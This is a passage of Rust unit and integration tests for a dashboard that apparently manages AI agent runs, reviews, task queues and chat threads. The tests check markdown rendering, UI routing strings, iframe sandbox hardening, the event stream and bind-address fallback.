13104        // `landView` reads `run.done`; the detail response must carry it.
13105        for (status, done) in [
13106            (RunStatus::Superseded, true),
13107            (RunStatus::Blocked, true),
13108            (RunStatus::Landing, false),
13109        ] {
13110            let mut state = RunState::new(
13111                std::path::PathBuf::from("/repo"),
13112                "main".to_owned(),
13113                "abc".to_owned(),
13114                "x".to_owned(),
13115                crate::config::Config::default(),
13116            );
13117            state.status = status;
13118            let v = serde_json::to_value(RunDetailView::of(
13119                state,
13120                crate::run::Liveness::Unknown,
13121                None,
13122                None,
13123                None,
13124            ))
13125            .unwrap();
13126            assert_eq!(v["done"], done, "{status:?}");
13127        }
13128    }
13129
13130    /// The first node of a markdown block holds a `strong` somewhere.
13131    fn has_strong(nodes: &[md::Node]) -> bool {
13132        serde_json::to_string(nodes).unwrap().contains("strong")
13133    }
13134
13135    #[test]
13136    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13137        let mut state = RunState::new(
13138            std::path::PathBuf::from("/repo"),
13139            "main".to_owned(),
13140            "abc".to_owned(),
13141            "x".to_owned(),
13142            crate::config::Config::default(),
13143        );
13144        let proposal = |approach: &str| {
13145            serde_json::json!({
13146                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13147            })
13148        };
13149        state.advice = Some(
13150            serde_json::from_value(serde_json::json!({
13151                "records": [
13152                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13153                     "proposal": proposal("do **this**")},
13154                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13155                ],
13156                "synthesis": "- one\n- **two**\n\n`code`",
13157            }))
13158            .unwrap(),
13159        );
13160        state.candidates = serde_json::from_value(serde_json::json!([
13161            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13162             "summary": "did **it**"},
13163            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13164        ]))
13165        .unwrap();
13166        // Recorded in ascending severity, the reverse of how the page sorts
13167        // them: the arrays must follow the record, not the display.
13168        state.reviews = serde_json::from_value(serde_json::json!([{
13169            "round": 1, "head": "h",
13170            "reviews": [{
13171                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13172                "findings": [
13173                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
13174                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13175                ],
13176            }],
13177            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13178            "fix": {"agent": "a", "notes": "fixed **it**",
13179                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13180        }, {"round": 2, "head": "h2", "reviews": []}]))
13181        .unwrap();
13182
13183        let v = serde_json::to_value(RunDetailView::of(
13184            state,
13185            crate::run::Liveness::Unknown,
13186            None,
13187            None,
13188            None,
13189        ))
13190        .unwrap();
13191
13192        let strong = |p: &str| {
13193            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13194            assert!(n.to_string().contains("strong"), "{p}: {n}");
13195        };
13196        strong("/advice_md/synthesis");
13197        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13198        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13199        strong("/advice_md/approaches/0");
13200        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13201        strong("/candidate_summaries_md/0");
13202        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13203        strong("/reviews_md/0/reviewers/0/summary");
13204        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13205        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13206        assert!(f[1].to_string().contains("strong"));
13207        strong("/reviews_md/0/reconsideration/0");
13208        strong("/reviews_md/0/fix/notes");
13209        strong("/reviews_md/0/fix/rejected/0");
13210        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13211        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13212        // The raw strings stay, and no schema moved.
13213        assert_eq!(v["candidates"][0]["summary"], "did **it**");
13214        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13215    }
13216
13217    #[test]
13218    fn a_run_without_advice_has_no_advice_md() {
13219        let state = RunState::new(
13220            std::path::PathBuf::from("/repo"),
13221            "main".to_owned(),
13222            "abc".to_owned(),
13223            "x".to_owned(),
13224            crate::config::Config::default(),
13225        );
13226        let p = run_prose_md(&state);
13227        assert!(p.advice_md.is_none());
13228        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13229    }
13230
13231    #[test]
13232    fn a_question_view_carries_markdown_for_each_thread_turn() {
13233        let home = TempDir::new().unwrap();
13234        let store = ask::Questions::at(home.path().join("questions"));
13235        let mut q = Question::new(
13236            "run".to_owned(),
13237            "implement".to_owned(),
13238            "impl-A".to_owned(),
13239            "which?".to_owned(),
13240            String::new(),
13241            Vec::new(),
13242        );
13243        q.say("plain words").unwrap();
13244        q.reply("use **this**", Vec::new()).unwrap();
13245        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13246        let bodies = &v["thread_bodies_md"];
13247        assert_eq!(bodies.as_array().unwrap().len(), 2);
13248        assert!(!bodies[0].to_string().contains("strong"));
13249        assert!(bodies[1].to_string().contains("strong"));
13250    }
13251
13252    #[test]
13253    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13254        let home = TempDir::new().unwrap();
13255        let store = ask::Questions::at(home.path().join("questions"));
13256        let mut q = Question::new(
13257            "run".to_owned(),
13258            "conduct".to_owned(),
13259            "conduct".to_owned(),
13260            "which?".to_owned(),
13261            String::new(),
13262            Vec::new(),
13263        );
13264        q.say("plain words").unwrap();
13265        q.thread.push(ask::Turn {
13266            who: ask::Who::Agent,
13267            body: "Settled as `merge`".to_owned(),
13268            at: jiff::Timestamp::now(),
13269            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13270        });
13271        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13272        let notes = &v["thread_notes_md"];
13273        assert_eq!(notes.as_array().unwrap().len(), 2);
13274        assert!(notes[0].is_null());
13275        let text = notes[1].to_string();
13276        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13277        assert!(APP_JS.contains("ask-turn-note"));
13278    }
13279
13280    #[test]
13281    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13282        // The land panel defers to `run.status` for merged, and labels a
13283        // recorded-open PR on any finished run (superseded, blocked, ...) as
13284        // last seen, never as live state.
13285        assert!(APP_JS.contains("function landView(run, raw) {"));
13286        assert!(
13287            APP_JS.contains(
13288                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13289            )
13290        );
13291        assert!(APP_JS.contains("const pr = landView(run, raw);"));
13292        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13293        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13294        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13295    }
13296
13297    #[test]
13298    fn live_runs_are_never_hidden_or_folded_as_superseded() {
13299        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
13300        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13301        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13302        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13303    }
13304
13305    #[test]
13306    fn review_rounds_label_a_distinct_verified_head() {
13307        assert!(APP_JS.contains("round.verified_head"));
13308        assert!(APP_JS.contains("verified HEAD"));
13309        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13310    }
13311
13312    #[test]
13313    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13314        // A blocked task's chip and note must not fall back to a queued-like
13315        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
13316        // itself by e11fc58 but never checked here.
13317        assert!(APP_JS.contains("blocked: { glyph:"));
13318        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13319
13320        // `blocked_by` mixes task ids and question ids in the same list, and
13321        // the client can only tell them apart by checking each id against
13322        // what it actually knows - never by guessing from the id's shape.
13323        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13324        assert!(
13325            APP_JS.contains(
13326                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13327            ),
13328            "the note line must name what a blocked task is waiting on, not just that it is blocked"
13329        );
13330        // The classification must key off `status_str`, never off `blocked_by`
13331        // or `block_reason` merely being present - both can survive briefly
13332        // on a task a hold or a dead daemon just moved off `blocked`.
13333        assert!(APP_JS.contains("if (status === \"blocked\") {"));
13334
13335        // A question a task is blocked on gets its own node in the same
13336        // dependency graph, not just a task-shaped node with nothing known
13337        // about it.
13338        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13339        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13340        assert!(
13341            APP_JS.contains("location.hash = \"#/questions\";"),
13342            "a question node must jump to the Questions screen, not pretend to be a task"
13343        );
13344
13345        // `Task::answers` - decisions already made - are shown as a record on
13346        // the card, the same disclosure style as the full instruction.
13347        assert!(APP_JS.contains("Resolved questions"));
13348        assert!(APP_JS.contains("r.answersList.append("));
13349        assert!(APP_CSS.contains(".task-answers"));
13350        {
13351            let start = APP_JS
13352                .find("function updateTalkTaskRow")
13353                .expect("updateTalkTaskRow");
13354            let body = &APP_JS[start..];
13355            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13356            assert!(
13357                body.contains(
13358                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13359                ),
13360                "a chat-filed task row must link to the task page"
13361            );
13362            assert!(
13363                !body.contains("#/runs/") && !body.contains("#/queue/"),
13364                "the row must not branch to a run or the queue card"
13365            );
13366            assert!(APP_CSS.contains(".talk-task-link"));
13367        }
13368    }
13369
13370    #[test]
13371    fn a_task_notification_links_to_the_task_page() {
13372        // A task notice opens the task detail page, not the Backlog card.
13373        let start = APP_JS
13374            .find("function noticeLink(")
13375            .expect("noticeLink exists");
13376        let body = &APP_JS[start..];
13377        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13378        assert!(
13379            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13380            "a task notice's link must target the task page"
13381        );
13382        assert!(
13383            !body.contains("#/queue/"),
13384            "regression: the task link must not go back to the Backlog route"
13385        );
13386        assert!(
13387            APP_JS.contains(
13388                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13389            ),
13390            "`#/tasks/<id>` must parse into the task route"
13391        );
13392
13393        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
13394        assert!(
13395            APP_JS.contains(
13396                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13397            ),
13398            "`#/queue/<id>` must parse into a route carrying that id"
13399        );
13400
13401        // And the Backlog view has to actually land on the card once it can
13402        // - see consumeQueueFocus(), which renderQueue() calls on every pass
13403        // so a focus set before the queue has loaded is retried once it has.
13404        assert!(APP_JS.contains("state.queueFocus = route.id;"));
13405        assert!(APP_JS.contains("function consumeQueueFocus()"));
13406        assert!(APP_JS.contains("jumpToTask(id)"));
13407    }
13408
13409    /// Chat rows are two lines at every width: the title alone, then the
13410    /// shrinkable secondary info.
13411    #[test]
13412    fn chat_rows_put_the_title_alone_on_the_first_line() {
13413        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
13414        assert!(APP_CSS.contains(
13415            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13416        ));
13417        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13418        assert!(APP_JS.contains("class: \"badge talk-unread\""));
13419    }
13420
13421    #[test]
13422    fn run_rows_put_the_title_alone_on_the_first_line() {
13423        assert!(
13424            APP_CSS.contains(
13425                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
13426            )
13427        );
13428        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13429        assert!(APP_JS.contains("class: \"card run-card\""));
13430        assert!(APP_JS.contains("class: \"repo run-id\""));
13431    }
13432
13433    /// Wide screens get a master/detail layout built from the views a phone
13434    /// drills into. These are string assertions: they pin the contract between
13435    /// the three assets, not how it looks.
13436    #[test]
13437    fn wide_screens_show_list_and_preview_side_by_side() {
13438        // One breakpoint, spelled the same in the script and the stylesheet.
13439        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13440        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13441        assert!(APP_CSS.contains("main[data-split]"));
13442        assert!(APP_CSS.contains("body[data-split]"));
13443
13444        // The route -> panes table, and a narrow screen opting out of it.
13445        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
13446        assert!(
13447            APP_JS.contains(
13448                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13449            )
13450        );
13451        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13452        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13453        assert!(INDEX_HTML.contains("id=\"split-empty\""));
13454
13455        // Selection is derived from the route, and only ever paints a row.
13456        assert!(APP_JS.contains("function markSelected() {"));
13457        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13458        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13459        // The dense row must override the stacked card the 720px block sets up.
13460        assert!(
13461            APP_CSS.contains(
13462                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13463            )
13464        );
13465
13466        // Independent scrolling: the page stops scrolling, each pane does.
13467        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13468        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13469        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13470        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13471
13472        // A refresh must never navigate: the loaders still check that their
13473        // subject is the one on screen, and crossing the breakpoint only
13474        // re-reads the hash.
13475        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13476        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13477        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13478        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13479
13480        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
13481        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13482    }
13483
13484    #[test]
13485    fn panel_sandbox_carries_exactly_popups() {
13486        let needle = "sandbox: \"";
13487        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13488        assert_eq!(
13489            matches.len(),
13490            1,
13491            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13492        );
13493        let start = matches[0].0 + needle.len();
13494        let end = APP_JS[start..]
13495            .find('"')
13496            .expect("sandbox attribute value must be terminated by a closing quote");
13497        let val = &APP_JS[start..start + end];
13498        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13499        let expected: std::collections::BTreeSet<&str> =
13500            ["allow-popups", "allow-popups-to-escape-sandbox"]
13501                .into_iter()
13502                .collect();
13503        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13504        assert!(
13505            !tokens.contains("allow-scripts"),
13506            "allow-scripts must never be present in sandbox"
13507        );
13508        assert!(
13509            !tokens.contains("allow-same-origin"),
13510            "allow-same-origin must never be present in sandbox"
13511        );
13512    }
13513
13514    #[test]
13515    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13516        // consumeQueueFocus() clears an active Backlog search before it can
13517        // scroll to the target card (the sections list is hidden while a
13518        // search is showing), by recursing back into renderQueue(). The
13519        // fixer's first cut nulled state.queueFocus before that recursive
13520        // call, so the second pass saw nothing to jump to and the jump was
13521        // silently dropped whenever a notification's link was opened with a
13522        // stale search still active. state.queueFocus must only be cleared
13523        // right before jumpToTask() actually runs.
13524        assert!(
13525            APP_JS.contains(
13526                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
13527            ),
13528            "the search-clearing branch must run before state.queueFocus is cleared, or the \
13529             recursive renderQueue() call has nothing left to jump to"
13530        );
13531        assert!(
13532            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13533            "state.queueFocus must be cleared only once the jump has landed, so a card that \
13534             arrives later still gets it"
13535        );
13536        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13537        assert!(APP_JS.contains("is not in the current Backlog."));
13538        assert!(APP_JS.contains("li.card[data-task-id=\""));
13539        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13540        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13541        assert!(APP_CSS.contains(".card-permalink"));
13542        assert!(APP_CSS.contains(".queue-focus-status"));
13543        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13544    }
13545
13546    #[test]
13547    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13548        // The task's own repro: only the link text inside .notice-meta was
13549        // clickable, so a tap on the message, the timestamp, or the card's
13550        // padding did nothing - on a phone that reads as "the card doesn't
13551        // work" even though the tiny link inside it did. Mark read / Dismiss
13552        // must keep working independently of this: `.closest("a, button")`
13553        // is what lets a tap that actually lands on those elements fall
13554        // through instead of being hijacked into a navigation.
13555        assert!(
13556            APP_JS.contains(
13557                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13558            ),
13559            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13560        );
13561    }
13562
13563    #[test]
13564    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13565        assert!(
13566            APP_JS.contains("round.verified_head !== round.head"),
13567            "a round that verified an earlier commit must be visibly distinct from one that \
13568             verified the head reviewers are looking at now"
13569        );
13570        assert!(
13571            APP_JS.contains("round.verified_at"),
13572            "when a check ran must be on the wire, not just which commit"
13573        );
13574        assert!(
13575            APP_JS.contains("resource_blocked"),
13576            "a command magi never got to run (shared build cache contention) must not render \
13577             the same as a command that ran and failed"
13578        );
13579    }
13580
13581    #[test]
13582    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13583        // Every KPI tile but Total runs and Completion names an exact
13584        // RunStatus and hands it to openRunsFiltered(), which is what wires
13585        // the click into state.runsFilter.status (matchesFilter's own
13586        // status check) rather than the coarser runsStateFilter chips. Each
13587        // status literal here must be one of the strings runSection() (and
13588        // isStale()) actually compare a run's own `status` field against -
13589        // a status this dashboard invented would filter to nothing.
13590        assert!(
13591            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13592            "every KPI tile built through statusTile() must route its click through \
13593             openRunsFiltered, the single place that sets the Runs filter"
13594        );
13595        for (label, status) in [
13596            ("Merged", "merged"),
13597            ("Ready", "ready"),
13598            ("Blocked", "blocked"),
13599            ("Stalled", "stalled"),
13600        ] {
13601            let call = format!("statusTile(\"{label}\", t.{status}, ");
13602            assert!(
13603                APP_JS.contains(&call),
13604                "expected the {label} KPI tile built via {call}..."
13605            );
13606            assert!(
13607                APP_JS.contains(&format!("status === \"{status}\"")),
13608                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13609                 compare a run against, not one invented only for the stats tile"
13610            );
13611        }
13612        assert!(
13613            APP_JS.contains("function openRunsFiltered(status)"),
13614            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13615        );
13616        assert!(
13617            APP_JS.contains(
13618                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13619            ),
13620            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13621        );
13622        // applyRoute() only flips which view is visible for a plain `#runs`
13623        // hash - it does not itself redraw the list (see applyRoute's own
13624        // handling below) - so openRunsFiltered must call renderRuns()
13625        // itself, and must call applyRoute() too so the view flips even
13626        // when the hash string doesn't change (the operator may already be
13627        // on the Runs view when a tile is tapped, which fires no
13628        // hashchange event at all).
13629        assert!(
13630            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
13631            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13632             hashchange event that may never fire"
13633        );
13634    }
13635
13636    #[test]
13637    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13638        // A stats tile can leave state.runsFilter.status set to something
13639        // done-by-construction (e.g. "merged") - picking "Active" afterward
13640        // must drop it the same way an incompatible tree section is already
13641        // dropped, or the Runs list renders permanently empty with no way
13642        // for the operator to tell why.
13643        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13644        assert!(
13645            APP_JS.contains(
13646                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
13647            ),
13648            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13649             guard for an incompatible tree section"
13650        );
13651    }
13652
13653    #[test]
13654    fn every_stats_queue_tile_names_a_real_queue_section() {
13655        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
13656        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
13657        // (consumeQueueSectionFocus finds no matching <details> and drops
13658        // the focus) rather than fail loudly, so pin every key against the
13659        // section list it has to resolve against.
13660        assert!(
13661            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13662            "every queue tile built through sectionTile() must route its click through \
13663             openQueueSectionFocus"
13664        );
13665        for key in ["upnext", "running", "done", "held", "blocked"] {
13666            assert!(
13667                APP_JS.contains(&format!("{{ key: \"{key}\",")),
13668                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13669            );
13670        }
13671        // Queued and Failed intentionally both resolve to "upnext" - the
13672        // same section queueSection() itself files them under - rather than
13673        // getting a section each.
13674        for line in [
13675            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13676            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13677            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13678            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13679            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13680            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13681        ] {
13682            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13683        }
13684    }
13685
13686    #[test]
13687    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13688        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
13689        // above for the section-focus channel a stats queue tile drives:
13690        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
13691        // through the stale-search-clear recursion into renderQueue(), and
13692        // clear it only once revealQueueSection() is actually about to run -
13693        // the same trap that once silently dropped a task-focus jump.
13694        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13695        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13696        assert!(APP_JS.contains("function revealQueueSection(details)"));
13697        assert!(
13698            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
13699            "renderQueue() must consume both focus channels on every pass"
13700        );
13701        assert!(
13702            APP_JS.contains(
13703                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
13704            ),
13705            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13706             the recursive renderQueue() call has nothing left to reveal"
13707        );
13708        assert!(
13709            APP_JS.contains(
13710                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
13711            ),
13712            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13713        );
13714        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
13715        // task-focus form of the hash - a plain `#queue` navigation only
13716        // flips which view is visible. openQueueSectionFocus() must
13717        // therefore call renderQueue() itself, and applyRoute() too so the
13718        // view flips even when the hash doesn't change (the Backlog may
13719        // already be open when a tile is tapped, firing no hashchange
13720        // event at all).
13721        assert!(
13722            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
13723            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13724             hashchange event that may never fire"
13725        );
13726    }
13727
13728    #[tokio::test]
13729    async fn the_change_stream_announces_the_current_revisions_on_connect() {
13730        let f = Fixture::start().await;
13731
13732        let mut socket = tokio::net::TcpStream::connect(f.addr)
13733            .await
13734            .expect("connect");
13735        socket
13736            .write_all(
13737                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13738            )
13739            .await
13740            .expect("write request");
13741
13742        // Read until the first event arrives rather than to end of stream: the
13743        // stream is endless by design, which is the point of the route.
13744        let mut seen = String::new();
13745        let mut buf = [0u8; 1024];
13746        while !seen.contains("event: change") {
13747            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13748                .await
13749                .expect("the stream must speak within five seconds")
13750                .expect("read");
13751            assert!(read > 0, "the server closed the change stream: {seen}");
13752            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13753        }
13754
13755        assert!(
13756            seen.to_lowercase()
13757                .contains("content-type: text/event-stream"),
13758            "the browser only reconnects automatically for a real SSE stream: {seen}"
13759        );
13760        let data = seen
13761            .lines()
13762            .find_map(|l| l.strip_prefix("data:"))
13763            .expect("a data line");
13764        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13765        assert!(
13766            payload["queue_rev"].is_u64()
13767                && payload["runs_rev"].is_u64()
13768                && payload["questions_rev"].is_u64()
13769                && payload["talks_rev"].is_u64()
13770                && payload["notifications_rev"].is_u64()
13771                && payload["loop_rev"].is_u64(),
13772            "the client needs one revision per store to know what to refetch, \
13773             and `talks_rev` is the only notification a standing talk gets - a \
13774             phone whose radio slept through a turn learns about it here, as \
13775             does one whose operator started the loop from another device: \
13776             {payload}"
13777        );
13778
13779        // The front end re-polls health on a timer and on wake, and takes the
13780        // revisions from that answer whenever the stream is not up. So health
13781        // has to carry every key the stream carries: a phone on a link that
13782        // will not hold an SSE connection is exactly the phone that must still
13783        // notice a question, and a missing key there is not a 500 but a UI
13784        // that quietly stops updating.
13785        let health = f.get("/api/health").await.json();
13786        for key in [
13787            "queue_rev",
13788            "runs_rev",
13789            "questions_rev",
13790            "talks_rev",
13791            "notifications_rev",
13792            "loop_rev",
13793        ] {
13794            assert!(
13795                health[key].is_u64(),
13796                "health is the change stream's fallback and is missing `{key}`: {health}"
13797            );
13798        }
13799    }
13800
13801    #[tokio::test]
13802    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13803        let f = Fixture::start().await;
13804        let before = f.get("/api/health").await.json()["talks_rev"]
13805            .as_u64()
13806            .expect("talks_rev");
13807
13808        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13809        std::thread::sleep(Duration::from_millis(10));
13810        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13811        on_disk.turns.push(crate::talk::Turn {
13812            breaks: Some(Vec::new()),
13813            who: crate::talk::Who::Operator,
13814            body: "a new turn".to_owned(),
13815            at: Timestamp::now(),
13816            attachments: Vec::new(),
13817            usage: None,
13818        });
13819        f.talks().put(&mut on_disk).expect("record a turn");
13820
13821        let after = f.get("/api/health").await.json()["talks_rev"]
13822            .as_u64()
13823            .expect("talks_rev");
13824        assert_ne!(
13825            before, after,
13826            "a phone must be able to notice a talk's reply without polling every store"
13827        );
13828    }
13829
13830    #[test]
13831    fn bind_reads_back_from_the_spelling_the_cli_prints() {
13832        // The CLI shows the default in `--help` and parses whatever comes
13833        // back, so the two directions have to agree or `--bind auto` breaks
13834        // the moment someone copies the help text.
13835        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13836            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13837        }
13838        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13839        assert!("everywhere".parse::<Bind>().is_err());
13840    }
13841
13842    #[test]
13843    fn an_explicit_bind_address_is_taken_verbatim() {
13844        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13845
13846        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13847
13848        assert_eq!(addr, asked);
13849        assert!(
13850            warning.is_none(),
13851            "an operator who named an address gets no lecture"
13852        );
13853    }
13854
13855    #[test]
13856    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13857        let (addr, warning) = resolve_bind(&Bind::Auto);
13858
13859        // This has to hold on a CI runner with no `tailscale` and on a dev box
13860        // with one, so the invariant asserted is the one shared by both
13861        // outcomes: the address is either a real tailnet address offered
13862        // without comment, or loopback with an explanation. What must never
13863        // happen is a silent fallback - an operator told "listening on
13864        // 127.0.0.1" with no reason would go looking for a firewall.
13865        match addr {
13866            IpAddr::V4(ip) if is_tailnet(&ip) => {
13867                assert!(warning.is_none(), "a tailnet address needs no warning");
13868            }
13869            other => {
13870                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13871                let warning = warning.expect("a fallback has to explain itself");
13872                assert!(
13873                    warning.contains("127.0.0.1") && warning.contains("local-only"),
13874                    "the warning says what happened and what it costs: {warning}"
13875                );
13876            }
13877        }
13878    }
13879
13880    #[test]
